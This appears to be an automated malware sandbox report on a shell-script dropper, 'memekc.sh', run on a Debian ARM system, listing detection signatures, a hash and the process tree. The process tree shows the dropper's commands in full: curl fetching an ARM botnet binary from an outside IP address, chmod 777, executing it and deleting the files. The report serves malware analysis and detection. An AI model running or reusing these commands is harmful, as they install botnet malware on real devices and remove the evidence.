Analysis
- max time kernel
1s - max time network
2s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
23/05/2026, 14:04
General
- Target memekc.sh
- Size 868B
- Sample260523-rdb2qaaw8j
- SHA256 2f0dd5c9ab2b550631a9785f61af01d0d9a38e0f029ee946642df2d099408b0c
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads runtime system information 2 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/memekc.sh/tmp/memekc.sh1⤵
-
/bin/unameuname -m2⤵
-
-
/usr/bin/curlcurl http://62.169.16.83/luxzzxzzx/luxzz.arm7 -O bot2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 bot2⤵
- File and Directory Permissions Modification
-
-
/tmp/bot./bot2⤵
-
-
/bin/rmrm -rf bot2⤵
-
-
/bin/rmrm -rf memekc.sh2⤵
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
luxzz.arm7